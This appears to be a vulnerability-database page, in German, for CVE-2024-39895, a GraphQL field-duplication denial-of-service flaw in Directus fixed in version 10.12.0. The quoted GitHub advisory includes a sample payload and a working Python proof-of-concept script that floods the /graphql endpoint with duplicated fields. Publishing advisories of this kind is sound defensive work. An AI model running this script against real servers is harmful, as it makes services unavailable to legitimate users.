CVE-2024-39895
mediumPriorität · verfolgen · 26EPSS 0.008 · 56. PerzentilEUUSEPSS · bewertet 2026-10-27
Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (3)
Betroffene Produkte und Versionsbereiche.
Advisories (1)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-7hmh-pfrp-vcx4Directus GraphQL Field Duplication Denial of Service (DoS)2024-07-08ghsa · osvUS
### Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. ### Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:   By modifying the data sent and duplicating many times the fields a DoS attack is possible. ### PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. `{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}` Although that payload seems harmless, a bigger one leaves the service unresponsive. The following code might serve as a PoC written in Python3: ```# Field Duplication DoS # GitHub @asantof import requests ## CHANGE THIS VALUES: url, auth_token, query_name, collection_name url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = '' headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', } id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200 data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' } print(data) response = requests.post(url, headers=headers, json=data) print(response.json()) ```  After running it the service will be unresponsive for a while:  ### Impact The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (8)
Externe Belege — Patches, Meldungen, Analysen.
- https://cxsecurity.com/cveshow/CVE-2024-39895/cnnvd
- https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8cnnvd
- https://github.com/directus/directus/releases/tag/v10.12.0Patchcnnvd
- https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4cnnvd
- https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8enisa_euvd
- https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4enisa_euvd
- https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8Patchnvd
- https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4ExploitVendor Advisorynvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan